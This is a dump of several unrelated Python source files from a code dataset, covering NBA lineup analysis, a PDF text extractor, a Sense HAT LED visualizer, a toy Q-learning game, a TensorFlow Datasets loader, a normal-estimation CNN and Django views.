sorted(glob.iglob(os.path.join(sDir, sPattern))) \n lFn.extend([s.replace(\"\\\\\", \"/\") for s in lsFilename]) #Unix-style is universal\n if lsFilename:\n ts_max = max([os.path.getmtime(sFilename) for sFilename in lsFilename])\n ts = ts_max if ts is None else max(ts, ts_max)\n ts = max(ts, ts_max)\n return ts, lFn\n listMaxTimestampFile = classmethod(listMaxTimestampFile)\n \n# ------------------------------------------------------------------------------------------------------------------------------\n\n\nif __name__ == \"__main__\":\n\n version = \"v.01\"\n usage, description, parser = DU_CRF_Task.getBasicTrnTstRunOptionParser(sys.argv[0], version)\n\n parser.print_help()\n \n traceln(\"\\nThis module should not be run as command line. It does nothing. (And did nothing!)\")\n","sub_path":"TranskribusDU/tasks/DU_CRF_Task.py","file_name":"DU_CRF_Task.py","file_ext":"py","file_size_in_byte":40992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"315722910","text":"from scrappers.nba_stats.PlayByPlay import PlayByPlay\nfrom scrappers.nba_stats.GameLog import TeamAdvancedGameLogs\nfrom util.pbp_parsers import is_home, get_team_df, convert_time\nimport pandas as pd\n\n\n# Get initial lineups for a Period.\n# First look for players who are subbed out before they are subbed in\n# If less than 5 players meet initial criteria looks for players who were listed in pbp but never subbed in or out\n# If still less than 5 players, throw value error and throw out the period\ndef get_initial_lineup(period_df):\n subs_df = period_df[period_df.EVENTMSGTYPE == 8]\n\n period = (period_df.iloc[0]['PERIOD'] - 1)\n start_time = period * 720 if period < 4 else 2880 + ((period - 4) * 300)\n\n end_time = subs_df.iloc[0]['TIME'] if len(subs_df) > 0 else (start_time + (720 if period < 4 else 300))\n\n initial_players = []\n subbed_in = []\n\n for ix, sub in subs_df.iterrows():\n player_in = sub.PLAYER2_NAME\n player_out = sub.PLAYER1_NAME\n\n if player_out not in subbed_in:\n initial_players.append(player_out)\n\n subbed_in.append(player_in)\n\n if len(initial_players) == 5:\n return {\n 'players': initial_players,\n 'start_time': start_time,\n 'end_time': end_time\n }\n\n others = period_df.PLAYER1_NAME.unique()\n others = [str(i) for i in others]\n others = list(filter(lambda x: x != 'nan', others))\n others = list(filter(lambda x: x not in subbed_in, others))\n others = list(filter(lambda x: x not in initial_players, others))\n\n if len(initial_players) + len(others) != 5:\n raise ValueError(\"Found \" + str(len(initial_players) + len(others)) + \"players instead of 5\")\n\n initial_players.extend(others)\n return {\n 'players': initial_players,\n 'start_time': start_time,\n 'end_time': end_time\n }\n\n\ndef get_team_game_lineups(team_df):\n lineups = []\n\n last_period = team_df['PERIOD'].max()\n if last_period < 4:\n raise ValueError('Numbers of Quarters is less than 4')\n\n for p in range(1, (last_period + 1)):\n period_df = team_df[team_df['PERIOD'] == p]\n\n try:\n initial_lineup = get_initial_lineup(period_df)\n\n lineups.append(initial_lineup)\n\n current_players = initial_lineup['players']\n\n subs_df = period_df[period_df.EVENTMSGTYPE == 8][['PLAYER1_NAME', 'PLAYER2_NAME', 'TIME']].drop_duplicates()\n for jx, s in subs_df.iterrows():\n p_out = s.PLAYER1_NAME\n p_in = s.PLAYER2_NAME\n\n if p_out not in current_players:\n raise ValueError('Player Subbing out is not in current lineup')\n\n current_players = list(filter(lambda x: x != p_out, current_players))\n current_players.append(p_in)\n\n lineups.append({\n 'players': current_players,\n 'start_time': s.TIME\n })\n\n except ValueError as e:\n print(e)\n continue\n\n for i in range(0, len(lineups)):\n if i < len(lineups) - 1:\n lineups[i]['end_time'] = lineups[i + 1]['start_time']\n else:\n lineups[i]['end_time'] = 2880 if last_period == 4 else 2880 + ((last_period - 4) * 300)\n\n lineups = list(filter(lambda x: x['start_time'] != x['end_time'], lineups))\n\n return lineups\n\n\ndef get_team_game_player_stints(team_lineups):\n players = []\n for line_up in team_lineups:\n for player in line_up['players']:\n if player not in players:\n players.append(player)\n\n team_player_stints = []\n for player in players:\n player_lineups = list(filter(lambda x: player in x['players'], team_lineups))\n\n player_stints = []\n previous_start_time = player_lineups[0]['start_time']\n previous_end_time = player_lineups[0]['end_time']\n\n for line_up in player_lineups[1:]:\n if (line_up['start_time'] == previous_end_time) and (\n (line_up['end_time'] != 1440) or (line_up['start_time'] != 1400)):\n previous_end_time = line_up['end_time']\n else:\n player_stints.append({\n 'player': player,\n 'start_time': previous_start_time,\n 'end_time': previous_end_time\n })\n previous_start_time = line_up['start_time']\n previous_end_time = line_up['end_time']\n\n player_stints.append({\n 'player': player,\n 'start_time': previous_start_time,\n 'end_time': previous_end_time\n })\n\n team_player_stints.extend(player_stints)\n\n team_player_stints_df = pd.DataFrame(team_player_stints)\n team_player_stints_df['time'] = team_player_stints_df['end_time'] - team_player_stints_df['start_time']\n\n return team_player_stints_df\n\n\ndef transform_stints_for_viz(player_stints_df, include_ot=True):\n data = []\n minute_max = int(player_stints_df['end_time'].max() / 60) if include_ot else 48\n for player in player_stints_df['player'].unique():\n player_df = player_stints_df[player_stints_df['player'] == player]\n for minute in range(0, minute_max):\n minute_start = minute * 60\n minute_end = (minute + 1) * 60\n\n if minute == minute_max - 1:\n minute_end += 1\n\n time_missed_before = player_df['start_time'].map(\n lambda x: 0 if x <= minute_start else 60 if x >= minute_end else x - minute_start)\n time_missed_after = player_df['end_time'].map(\n lambda x: 0 if x >= minute_end else 60 if x <= minute_start else minute_end - x)\n\n time_in_minute = (60 - time_missed_before - time_missed_after).sum()\n\n data.append({\n 'player': player,\n 'minute': str(minute + 1),\n 'value': time_in_minute\n })\n\n return pd.DataFrame(data)\n\n\ndef get_score_data_for_game(pbp_df):\n pbp_df['TIME'] = convert_time(pbp_df) / 60\n\n pbp_df = pbp_df[pbp_df['SCOREMARGIN'].notnull()]\n pbp_df = pbp_df[pbp_df['PLAYER1_ID'].notnull()]\n\n pbp_df['SCOREMARGIN'] = pbp_df['SCOREMARGIN'].map(lambda x: 0 if x == 'TIE' else x)\n\n pbp_df = pbp_df.rename(columns={'SCOREMARGIN': 'score_margin', 'TIME': 'minute'})\n pbp_df = pbp_df[['score_margin', 'minute']]\n\n initial_row = [{'score_margin': 0, 'minute': 0}]\n\n pbp_df = pd.concat([pd.DataFrame(initial_row), pbp_df], ignore_index=True, sort=False)\n\n return pbp_df\n\n\ndef get_viz_data_for_team_game_set(team_abb, games, season):\n pbp_ep = PlayByPlay()\n\n player_stints_df = pd.DataFrame()\n\n for game in games:\n pbp_df = pbp_ep.get_data({'Season': season, 'GameID': game})\n pbp_df['TIME'] = convert_time(pbp_df)\n\n team_df = get_team_df(pbp_df, team_abb)\n team_lineups = get_team_game_lineups(team_df)\n game_stints_df = get_team_game_player_stints(team_lineups)\n player_stints_df = player_stints_df.append(game_stints_df)\n\n rotation_data = transform_stints_for_viz(player_stints_df, include_ot=False)\n\n starters = player_stints_df[player_stints_df['start_time'] == 0]['player'].unique()\n starters = sorted(starters,\n key=lambda x: -len(player_stints_df[\n (player_stints_df['player'] == x) & (player_stints_df['start_time'] == 0)\n ])\n )\n starters = starters[:5]\n starters = sorted(starters,\n key=lambda x: -player_stints_df[\n player_stints_df['player'] == x\n ]['time'].sum())\n\n bench = player_stints_df[~player_stints_df['player'].isin(starters)]['player'].unique()\n bench = sorted(bench,\n key=lambda x: -player_stints_df[\n player_stints_df['player'] == x\n ]['time'].sum())\n\n players = starters + bench\n\n index = 1\n rotation_data['pindex'] = 0\n for player in players:\n cond = rotation_data.player == player\n rotation_data.pindex[cond] = index\n index += 1\n\n return rotation_data.to_dict(orient='records')\n\n\ndef get_viz_data_for_team_season(team_abbreviation, season, last_n_games=''):\n log = TeamAdvancedGameLogs().get_data({'Season': season, 'LastNGames': last_n_games}, override_file=True)\n log = log[log['TEAM_ABBREVIATION'] == team_abbreviation]\n\n games = log.GAME_ID.tolist()\n return get_viz_data_for_team_game_set(team_abbreviation, games, season)\n\n\ndef get_rotation_data_for_game(pbp_df):\n pbp_df['TIME'] = convert_time(pbp_df)\n\n teams = pbp_df['PLAYER1_TEAM_ABBREVIATION'].unique()[1:]\n if not is_home(pbp_df, teams[0]):\n teams = reversed(teams)\n rotation_df = pd.DataFrame()\n index = 1\n for t in teams:\n team_df = get_team_df(pbp_df, t)\n team_lineups = get_team_game_lineups(team_df)\n team_game_player_stints_df = get_team_game_player_stints(team_lineups)\n\n starters = team_game_player_stints_df[team_game_player_stints_df['start_time'] == 0]['player'].unique()\n starters = sorted(starters,\n key=lambda x: -team_game_player_stints_df[\n team_game_player_stints_df['player'] == x\n ]['time'].sum())\n\n bench = team_game_player_stints_df[~team_game_player_stints_df['player'].isin(starters)]['player'].unique()\n bench = sorted(bench,\n key=lambda x: -team_game_player_stints_df[\n team_game_player_stints_df['player'] == x\n ]['time'].sum())\n\n players = starters + bench\n team_game_player_stints_df['pindex'] = 1\n for player in players:\n cond = team_game_player_stints_df.player == player\n team_game_player_stints_df.loc[cond, 'pindex'] = index\n index += 1\n\n index += 1\n\n rotation_df = rotation_df.append(team_game_player_stints_df)\n\n return rotation_df\n\n\ndef get_most_common_starters_for_team_season(team_abb, season):\n game_log = TeamAdvancedGameLogs().get_data({'Season': season}, override_file=True)\n game_log = game_log[game_log['TEAM_ABBREVIATION'] == team_abb]\n\n pbp_ep = PlayByPlay()\n starters = dict()\n for ix, game in game_log.iterrows():\n game_pbp = pbp_ep.get_data({'Season': season, 'GameID': game.GAME_ID})\n game_pbp['TIME'] = convert_time(game_pbp)\n\n team_pbp = get_team_df(game_pbp, team_abb)\n\n game_starters = get_initial_lineup(team_pbp[team_pbp['PERIOD'] == 1])\n\n game_starters = tuple(sorted(game_starters['players']))\n\n if game_starters in starters:\n starters[game_starters] += 1\n else:\n starters[game_starters] = 1\n\n sorted_starters = sorted(starters, key=lambda x: -starters[x])\n for ss in sorted_starters:\n print(str(ss) + ' : ' + str(starters[ss]))\n\n return starters\n\n\ndef get_game_ids_for_team_with_starters(starters, team_abb, season):\n starters = tuple(sorted(starters))\n\n game_log = TeamAdvancedGameLogs().get_data({'Season': season}, override_file=True)\n game_log = game_log[game_log['TEAM_ABBREVIATION'] == team_abb]\n\n pbp_ep = PlayByPlay()\n games = []\n for ix, game in game_log.iterrows():\n game_pbp = pbp_ep.get_data({'Season': season, 'GameID': game.GAME_ID})\n game_pbp['TIME'] = convert_time(game_pbp)\n\n team_pbp = get_team_df(game_pbp, team_abb)\n\n game_starters = get_initial_lineup(team_pbp[team_pbp['PERIOD'] == 1])\n\n game_starters = tuple(sorted(game_starters['players']))\n\n if game_starters == starters:\n games.append(game.GAME_ID)\n\n return games\n","sub_path":"analysis/rotations.py","file_name":"rotations.py","file_ext":"py","file_size_in_byte":11869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"38508731","text":"import re\nimport sys\nfrom os import path\nfrom tika import parser\n\ninput_file = sys.argv[1]\noutput_file = sys.argv[2]\n\nprint(\"Writing PDF output as | separated csv to %s\" % (output_file))\n\nfile_contents = parser.from_file(path.join(input_file))\n\nfile_raw_content = str(file_contents['content'])\n\nfile_raw_content_encoded = file_raw_content.encode('utf-8', errors='ignore')\n\nfile_remove_report_data = re.sub('CONFIDENTIAL.{1,280}Date of report.{3,20}\\d of \\d', '', str(file_raw_content_encoded))\n\nfile_formatted = str(file_remove_report_data).replace(\"\\n\",\"\").replace(\"\\\\\",\"\").replace(\"_________________________________________________________________________\",\"\\n\").replace('nn','').replace('b\" n', '').replace('n\"', '')\n\nfile_format_with_separators = str(file_formatted).replace(' Name of Deceased ','|').replace(' Date of Death ','|').replace(' Usual Address ','|')\n\nwith open(output_file, 'w', newline='\\n') as csvfile:\n csvfile.write(file_format_with_separators)\n\nprint(\"File written\")\n","sub_path":"data_scripts/death_reports_pdf_extractor.py","file_name":"death_reports_pdf_extractor.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"441525760","text":"import time\nimport threading\nimport random\nfrom collections import deque\n\nfrom sense_hat import SenseHat, ACTION_PRESSED, ACTION_HELD, ACTION_RELEASED\n\n# Color config\nBACKGROUND_COLOR = (0, 0, 0)\nRAINBOW_COLOR = deque([\n (143, 0, 255), (75, 0, 130),\n (0, 0, 255), (0, 255, 0),\n (255, 255, 0), (255, 127, 0),\n (255, 0, 0), (243, 64, 147)\n])\n\n# Sense config\nSENSE = SenseHat()\nSENSE_DEFAULT_ROTATION = 180 # Default rotation, set_rotation\nSENSE_LOW_LIGHT = True # Default brightness, low_light\nSENSE_LED_UPDATE_INTERVAL = 0.125 # Default LED update speed\n\n# Add or subtract integer.\ndef switch_values(height_set):\n for index, value in enumerate(height_set):\n if value >= 8:\n height_set[index] = value - random.randint(2, 3)\n elif value <= 1:\n height_set[index] = value + random.randint(1, 2)\n else:\n if bool(random.getrandbits(1)):\n height_set[index] = value + 1\n else:\n height_set[index] = value - 1\n\n return height_set\n\n# Create matrix set.\ndef create_matrix(color_set, horizon_start_height):\n matrix_set = SENSE.get_pixels()\n\n for hori in range(8):\n color = color_set[hori]\n vert_offset = 0\n\n for vert in range(8):\n if horizon_start_height[hori] > vert:\n matrix_set[hori + (vert * 8)] = color\n else:\n matrix_set[hori + (vert * 8)] = BACKGROUND_COLOR\n\n return (matrix_set, horizon_start_height)\n\n# Apply matrix set to sense.\ndef apply_matrix(color_set=RAINBOW_COLOR):\n global SENSE_LED_UPDATE_INTERVAL\n horizon_start_height = [random.randint(1, 8) for i in range(8)]\n\n while True:\n horizon_start_height = switch_values(horizon_start_height)\n matrix, horizon_start_height = create_matrix(color_set, horizon_start_height)\n\n SENSE.set_pixels(matrix)\n time.sleep(SENSE_LED_UPDATE_INTERVAL)\n\n# Get event and apply action to sense.\ndef apply_joystick_event():\n global SENSE_LED_UPDATE_INTERVAL\n sense_current_rotation = SENSE_DEFAULT_ROTATION\n\n while True:\n for event in SENSE.stick.get_events():\n # On pressed\n if event.action == ACTION_PRESSED:\n # Right direction\n if event.direction == \"right\":\n RAINBOW_COLOR.rotate(-1)\n # Left direction\n elif event.direction == \"left\":\n RAINBOW_COLOR.rotate(1)\n # Middle direction\n elif event.direction == \"middle\" and event.action == ACTION_PRESSED:\n if sense_current_rotation >= 0 and sense_current_rotation < 270:\n sense_current_rotation += 90\n SENSE.set_rotation(sense_current_rotation)\n else:\n sense_current_rotation = 0\n SENSE.set_rotation(sense_current_rotation)\n # Up direction\n elif event.direction == \"up\":\n if SENSE_LED_UPDATE_INTERVAL <= 1.000:\n SENSE_LED_UPDATE_INTERVAL += 0.125\n # DOWN direction\n elif event.direction == \"down\":\n if SENSE_LED_UPDATE_INTERVAL > 0.125:\n SENSE_LED_UPDATE_INTERVAL -= 0.125\n\n time.sleep(0.2) # Need sleep to prevent overhead.\n\nif __name__ == '__main__':\n SENSE.set_rotation(SENSE_DEFAULT_ROTATION)\n SENSE.low_light = SENSE_LOW_LIGHT\n SENSE.clear()\n\n try:\n t_matrix = threading.Thread(target=apply_matrix)\n t_joystick = threading.Thread(target=apply_joystick_event)\n\n t_joystick.daemon = True # Demonize joystick event function\n\n t_joystick.start()\n t_matrix.start()\n except Exception as e:\n print(e)","sub_path":"sense-hat-visualizer.py","file_name":"sense-hat-visualizer.py","file_ext":"py","file_size_in_byte":3809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"61386256","text":"\"\"\"\n// Time Complexity :O(n) length of list.\n// Space Complexity :O(nd) len of list, d = depth of nested list\n// Did this code successfully run on Leetcode : BF solution.\n// Any problem you faced while coding this : NA\n\n//Explanation:\nif element is not list, append to result.\nElse recursively call the function \n\"\"\"\nclass NestedIterator:\n def __init__(self):\n self.result = []\n\n def solution(self,st):\n for element in st:\n if type(element) == list:\n self.solution(element)\n else:\n self.result.append(element)\n return self.result\n\n\n\nif __name__ == \"__main__\":\n st = [[1,1],2,[1,1]]\n n = NestedIterator()\n print(\"result = \",n.solution(st))\n","sub_path":"77FlattenNestedIterator.py","file_name":"77FlattenNestedIterator.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"318112739","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\\\r\nTensorFlow用のデータセットを読み込む時の補助を行う。\r\n\"\"\"\r\nimport os\r\nimport sys\r\nimport tensorflow as tf\r\nimport tensorflow_datasets as tfds\r\n\r\n# 追加データセットの読み込み\r\nfrom .datasets.stl10 import Stl10\r\n\r\n# マップ関数群の読み込み\r\nfrom .maps.compression import *\r\nfrom .maps.image import *\r\nfrom .maps.sequence import *\r\nfrom .maps.signal import *\r\n\r\nfrom .image_data_generator import MyImageDataGenerator\r\n\r\n__author__ = 'sugaok '\r\n__status__ = 'production'\r\n__version__ = '0.2.0'\r\n__date__ = '18 September 2019'\r\n\r\n# 追加データセット用のchecksumsディレクトリの登録\r\nchecksum_dir = os.path.normpath(\r\n os.path.join(os.path.dirname(__file__), 'url_checksums/')\r\n)\r\nos.makedirs(checksum_dir, exist_ok=True)\r\ntfds.download.add_checksums_dir(checksum_dir)\r\n\r\n\r\ndef load(\r\n name,\r\n split=None,\r\n data_dir=None,\r\n in_memory=False,\r\n as_supervised=True,\r\n try_gcs=False\r\n) -> (dict, tfds.core.DatasetInfo):\r\n \"\"\"\r\n tfds.load()のラッパー。\r\n よく使う引数だけ可視化している。\r\n https://www.tensorflow.org/datasets/api_docs/python/tfds/load\r\n\r\n Args:\r\n name str:\r\n データセット名を指定する。\r\n data_dir str:\r\n データセットの場所を指定する。\r\n 指定した場所でダウンロードや読み込みがされる。\r\n in_memory bool:\r\n 読み込んだデータをメモリ上に格納する。\r\n データの読み込み時間を削減出来る。\r\n try_gcs bool:\r\n Google Cloud Storageから読み込みを試みる。\r\n\r\n Returns:\r\n ({str:tf.data.Dataset}, tfds.core.DatasetInfo):\r\n 種類(train, validation, test)をキーとしたデータセットの辞書と情報を返す。\r\n \"\"\"\r\n # data_dir = os.path.expanduser(data_dir)\r\n # data_dir = os.path.realpath(data_dir)\r\n # data_dir = os.path.normcase(data_dir)\r\n\r\n if split and isinstance(split, list):\r\n split1 = split[0]\r\n split = split[1:] if len(split) > 1 else []\r\n else:\r\n split1 = split\r\n split = []\r\n \r\n\r\n datasets, info = tfds.load(\r\n name,\r\n split=split1,\r\n data_dir=data_dir,\r\n batch_size=0,\r\n in_memory=in_memory,\r\n shuffle_files=False,\r\n download=True,\r\n as_supervised=as_supervised,\r\n decoders=None,\r\n with_info=True,\r\n builder_kwargs=None,\r\n download_and_prepare_kwargs=None,\r\n as_dataset_kwargs=None,\r\n try_gcs=try_gcs\r\n )\r\n\r\n if split1:\r\n datasets = {split1: datasets}\r\n\r\n for s in split:\r\n try:\r\n datasets[s] = tfds.load(\r\n name,\r\n split=s,\r\n data_dir=data_dir,\r\n batch_size=0,\r\n in_memory=in_memory,\r\n shuffle_files=False,\r\n download=True,\r\n as_supervised=as_supervised,\r\n decoders=None,\r\n with_info=False,\r\n builder_kwargs=None,\r\n download_and_prepare_kwargs=None,\r\n as_dataset_kwargs=None,\r\n try_gcs=try_gcs\r\n )\r\n except KeyError:\r\n pass\r\n\r\n return datasets, info\r\n\r\n\r\ndef as_numpy(dataset):\r\n return tfds.as_numpy(dataset)\r\n\r\n\r\ndef main(tfds_e):\r\n \"\"\"\\\r\n tfds-extentionモジュールテスト用のメイン関数。\r\n 読み込みとマップ関数の適用を行う。\r\n\r\n Args:\r\n tfds_e:\r\n モジュール自身を渡す。\r\n \"\"\"\r\n print('TensorFlow Version: ', tf.__version__)\r\n # ~/.datasetsからデータセットを読み込み\r\n datasets, info = tfds_e.load('stl10')\r\n for key in datasets:\r\n # tf.data.Dataset.mapの第一引数として渡す関数を取得出来る\r\n datasets[key] = datasets[key].map(\r\n # マップ関数を取得\r\n tfds_e.encode_jpeg(quality=75, skip_header=3),\r\n # 並列実行数\r\n num_parallel_calls=16\r\n )\r\n\r\n for image, label in datasets['train']:\r\n # マップ関数を適用した後のデータが出る\r\n pass\r\n\r\nif __name__ == '__main__':\r\n main(sys.modules[__name__])\r\n","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"625744611","text":"# normal estimation network from Yinda Zhang\n# https://github.com/yindaz/DeepCompletionRelease\n# Multiscale loss\n# Implemented in Pytorch by Jin Zeng, 20180828\n\nimport torch.nn as nn\nimport torch\nfrom .models_utils import *\n\nclass vgg_16_ms(nn.Module):\n \n def __init__(self, input_channel, output_channel, track_running_static=True):\n super(vgg_16_ms, self).__init__()\n self.input_channel = input_channel\n self.output_channel = output_channel\n self.track = track_running_static\n filters = [64, 128, 256, 512, 512]\n\n # encoder\n # self.bn1 = nn.BatchNorm2d(3)\n self.conv1 = create_conv_2(self.input_channel, filters[0],track=self.track)\n self.conv2 = create_conv_2(filters[0], filters[1],track=self.track)\n self.conv3 = create_conv_3(filters[1], filters[2],track=self.track)\n self.conv4 = create_conv_3(filters[2], filters[3],track=self.track)\n self.conv5 = create_conv_3(filters[3], filters[4],track=self.track)\n\n self.pool1 = nn.MaxPool2d(kernel_size=2, stride=2, return_indices=True)\n self.pool2 = nn.MaxPool2d(kernel_size=2, stride=2, return_indices=True)\n self.pool3 = nn.MaxPool2d(kernel_size=2, stride=2, return_indices=True)\n self.pool4 = nn.MaxPool2d(kernel_size=2, stride=2, return_indices=True)\n\n # decoder\n self.deconv5 = create_deconv_3(filters[4], filters[3],track=self.track)\n self.deconv4 = create_deconv_3(filters[3]+filters[3], filters[2],track=self.track)\n self.deconv3 = create_deconv_3(filters[2]+filters[2], filters[1],track=self.track)\n self.deconv2 = create_deconv_2(filters[1]+filters[1], filters[0],track=self.track)\n self.deconv1 = create_addon(filters[0]+filters[0], filters[0], self.output_channel)\n\n self.unpool1 = nn.MaxUnpool2d(kernel_size=2, stride=2)\n self.unpool2 = nn.MaxUnpool2d(kernel_size=2, stride=2)\n self.unpool3 = nn.MaxUnpool2d(kernel_size=2, stride=2)\n self.unpool4 = nn.MaxUnpool2d(kernel_size=2, stride=2)\n\n # multiscale loss\n self.deconv5_ms = nn.ConvTranspose2d(filters[3], 3, 3, 1, 1)\n self.deconv4_ms = nn.ConvTranspose2d(filters[2], 3, 3, 1, 1)\n self.deconv3_ms = nn.ConvTranspose2d(filters[1], 3, 3, 1, 1)\n self.deconv2_ms = nn.ConvTranspose2d(filters[0], 3, 3, 1, 1)\n\n\n def forward(self, input):\n\n features1 = self.conv1(input)\n features1_p, indices1_p = self.pool1(features1)\n features2 = self.conv2(features1_p)\n features2_p, indices2_p = self.pool2(features2)\n features3 = self.conv3(features2_p)\n features3_p, indices3_p = self.pool3(features3)\n features4 = self.conv4(features3_p)\n features4_p, indices4_p = self.pool4(features4)\n features5 = self.conv5(features4_p)\n\n defeature5 = self.deconv5(features5)\n defeature4 = torch.cat((self.unpool4(defeature5,indices4_p), features4), 1)\n defeature3t = self.deconv4(defeature4)\n defeature3 = torch.cat((self.unpool3(defeature3t,indices3_p), features3), 1)\n defeature2t = self.deconv3(defeature3)\n defeature2 = torch.cat((self.unpool2(defeature2t,indices2_p), features2), 1)\n defeature1t = self.deconv2(defeature2)\n defeature1 = torch.cat((self.unpool1(defeature1t,indices1_p), features1), 1)\n\n output = self.deconv1(defeature1)\n\n # multiscale\n output5 = self.deconv5_ms(defeature5)\n output4 = self.deconv4_ms(defeature3t)\n output3 = self.deconv3_ms(defeature2t)\n output2 = self.deconv2_ms(defeature1t)\n\n return output, output2, output3, output4, output5\n \n\n\n\n","sub_path":"models/normal_estimation_ms.py","file_name":"normal_estimation_ms.py","file_ext":"py","file_size_in_byte":3662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"462886426","text":"import pandas as pd\r\nimport random\r\nimport math\r\nimport numpy as np\r\n\r\n\r\n#directions\r\nUP = 'U'\r\nDOWN = 'D'\r\nLEFT = 'L'\r\nRIGHT = 'R'\r\n\r\n#actions\r\npossible_actions = [\r\n\tUP,\r\n\tDOWN,\r\n\tLEFT,\r\n\tRIGHT\r\n\t]\r\n\r\nclass SimpleGame:\r\n\r\n\tdef __init__(self,result_name):\r\n\t\tsuper(SimpleGame,self).__init__()\r\n\t\tself.finish = False\r\n\t\tself.player_pos = 15\r\n\t\tself.step_log = []\r\n\t\tself.path_log = []\r\n\t\tself.rname = result_name\r\n\r\n\tdef reset(self):\r\n\t\tself.finish = False\r\n\t\tself.player_pos = 15\r\n\t\tself.step_log = []\r\n\t\tself.path_log = []\r\n\r\n\tdef run_game(self, agent, n_games):\r\n\r\n\t\tfor _ in range(n_games):\r\n\t\t\treward_accumulate = 0\r\n\t\t\treward = 0\r\n\t\t\twhile not self.finish:\r\n\t\t\t\taction_id = agent.choose_action(self.player_pos)\r\n\t\t\t\taction = possible_actions[action_id]\r\n\t\t\t\tself.path_log.append(self.player_pos)\r\n\t\t\t\tagent.previous_state = self.player_pos\r\n\t\t\t\tagent.previous_action = action_id\r\n\t\t\t\t#print()\r\n\t\t\t\t#print(action_id,action == UP)\r\n\t\t\t\tif self.player_pos <=15:\r\n\t\t\t\t\treward = -1\r\n\t\t\t\telif self.player_pos == 19:\r\n\t\t\t\t\treward = 100\r\n\t\t\t\t\tself.finish = True\r\n\t\t\t\telif self.player_pos >= 16 and self.player_pos <= 18:\r\n\t\t\t\t\treward =- 100\r\n\t\t\t\t\tself.finish = True\r\n\t\t\t\tif action == UP:\r\n\t\t\t\t\tif self.player_pos > 5:\r\n\t\t\t\t\t\tself.player_pos -= 5\r\n\t\t\t\telif action == DOWN:\r\n\t\t\t\t\tif self.player_pos < 15:\r\n\t\t\t\t\t\tself.player_pos += 5\r\n\t\t\t\telif action == LEFT:\r\n\t\t\t\t\tif self.player_pos % 5 != 0:\r\n\t\t\t\t\t\tself.player_pos -= 1\r\n\t\t\t\telif action == RIGHT:\r\n\t\t\t\t\tif self.player_pos % 5 != 4:\r\n\t\t\t\t\t\tself.player_pos += 1\r\n\r\n\t\t\t\treward_accumulate += reward\r\n\r\n\t\t\t\tif not self.finish:\r\n\t\t\t\t\tself.step_log.append(action)\r\n\t\t\t\t\tif agent.previous_state is not None:\r\n\t\t\t\t\t\t#print(agent.previous_action)\r\n\t\t\t\t\t\t#print(sdkjfnk)\r\n\t\t\t\t\t\tagent.qlearn.learn(agent.previous_state,agent.previous_action,reward,self.player_pos)\r\n\t\t\t\telse:\r\n\t\t\t\t\tagent.qlearn.learn(agent.previous_state,agent.previous_action,reward_accumulate,100)\r\n\r\n\t\t\tprint('reward',reward_accumulate)\r\n\t\t\tagent.scores = agent.scores.append(pd.DataFrame([reward_accumulate], columns = agent.scores.columns), ignore_index = True)\r\n\r\n\t\t\tself.reset()\r\n\t\tagent.scores.to_pickle(self.rname, 'gzip')\r\n\r\nclass QLAgent:\r\n\tdef __init__(self, lr, df, eps):\r\n\t\tself.qlearn = QLearningTable(actions = list(range(len(possible_actions))),learning_rate=lr, reward_decay=df, e_greedy=eps)\r\n\t\tself.previous_action = None\r\n\t\tself.previous_state = None\r\n\t\tself.scores = pd.DataFrame(columns=['score'], dtype=np.float64)\r\n\r\n\tdef choose_action(self, observation):\r\n\t\treturn self.qlearn.choose_action(observation)\r\n\r\n\r\nclass RandomAgent:\r\n\r\n\tdef choose_action(self):\r\n\r\n\t\treturn random.randint(0,3)\r\n\r\nclass QLearningTable:\r\n\r\n\tdef __init__(self, actions, learning_rate=0.01, reward_decay=0.9, e_greedy=0.9):\r\n\t\tself.actions = actions\r\n\t\tself.lr = learning_rate\r\n\t\tself.gamma = reward_decay\r\n\t\tself.epsilon = e_greedy\r\n\t\tself.q_table = pd.DataFrame(columns=self.actions)\r\n\r\n\tdef choose_action(self, observation):\r\n\t\tself.check_state_exist(observation)\r\n\r\n\t\tif np.random.uniform()/', views.VendorMatserUpdate.as_view()),\n path('vendor_master_status//', views.VendorMatserStatusUpdate.as_view()),\n path('vendor_dropdown/', views.VendorReadDropdown.as_view()),\n path('all_vendor/', views.VendorReadView.as_view()),\n path('all_vendor//', views.VendorReadDetailView.as_view()),\n\n\n]","sub_path":"vendor/new/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"456878790","text":"from django.shortcuts import render\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\n\nfrom .forms import RecruitForm, SithForm\n\n\ndef landing(request):\n return render(request, 'landing/landing.html', locals())\n\n\ndef forsith(request):\n name = 'ForSiths'\n form = SithForm(request.POST or None)\n\n if request.method == 'POST' and form.is_valid():\n print(form.cleaned_data)\n added_sithname = (form.cleaned_data['name'])[0]\n print(added_sithname)\n return HttpResponseRedirect(reverse('testedrecr'))\n\n return render(request, 'landing/forsith.html', locals())\n\n\ndef forrecr(request):\n name = 'ForRecruits'\n form = RecruitForm(request.POST or None)\n\n if request.method == 'POST' and form.is_valid():\n print(form.cleaned_data)\n new_form = form.save()\n request.session['recruit_email'] = form.cleaned_data['email']\n return HttpResponseRedirect(reverse('polls_list'))\n\n return render(request, 'landing/forrecr.html', locals())\n","sub_path":"recruit_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"460215680","text":"import numpy as np\n\ndef top3_tocnost(predictions, test_generator):\n top3_ind = []\n for row in predictions:\n idx = []\n temp = row\n for i in range(3):\n max_idx = np.argmax(temp, axis=0)\n idx.append(max_idx)\n temp = np.delete(temp, max_idx)\n top3_ind.append(idx)\n \n suma = 0\n 